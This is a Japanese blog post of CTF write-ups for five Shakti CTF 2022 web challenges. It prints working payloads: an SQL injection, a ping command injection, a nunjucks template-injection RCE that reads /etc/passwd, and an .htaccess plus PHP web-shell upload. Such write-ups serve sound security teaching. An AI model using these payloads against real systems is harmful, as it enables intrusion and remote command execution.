はまやんはまやんはまやん

hamayanhamayan's blog

Shakti CTF (2022) Writeups

[web] Be Alert

サイトにアクセスすると、アンドロイドがお出迎えしてくれる。
ソースを見ると<!--Something appears in /flag.html-->とあう。
GET /flag.htmlに行くとパスワードが必要と言われる。
ソースコードを見るとjavascriptでパスワードの判定っぽいものがあるので、それを参考に以下のようにパスワードを復元する。

let word = "rg`jsh`clhm";
let password = "";
for (let i=0; i<word.length;i++) {
    password += String.fromCharCode(word.charCodeAt(i) + 1);
}
console.log(password);

パスワードが出てくるので入力するとフラグが手に入る。

[web] L0g1n F4il3d

'をパスワードに入れてみるとエラーになる。
SQL Injectionを試せばよさそう。
いろいろやって' or 1=1 --を入れるとフラグが出てくる。

[web] ping-pong

pingコマンドが使えるサービス。
コマンドインジェクション感がすごいので、色々試す。

アドレスをgoogle.com | sleep 3とすると3秒ほどスリープがかかる。
google.com | idでidコマンドが動く。
OK。

./flag.txtがあるが普通にcatしても何故かうまくいかない。
base64コマンドを使ってみると動いた。
google.com | base64 flag.txtをして出力をbase64デコードするとフラグが手に入る。

[web] Hey h3ck3r!

適当にpayloadを試すと{{7*7}}で49になる。
X-Powered-By: Expressとあり、いろいろ試すとエラーからテンプレートエンジンがnunjucksであるとわかる。
適当にpayloadを探すと、以下でRCEできることがわかる。

https://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

lsするとflagというファイルが見えるので、cat flagとするとフラグが手に入る。

[web] S4F3 UPL04D

.htaccessのアップロードが可能なので、ブラックリスト入りされている拡張子以外のものでphpが使えるようにしてphpを動かす。

まず、.htaccessというファイル名で

AddType application/x-httpd-php .png

を用意してアップロードする。次にa.pngというファイル名で

<?php passthru($_GET["c"]);

を用意してアップロードする。
/uploads/a.png?c=idをするとidコマンドが実行できていることが確認できる。
色々探索するとcat /flagでフラグが見つかる。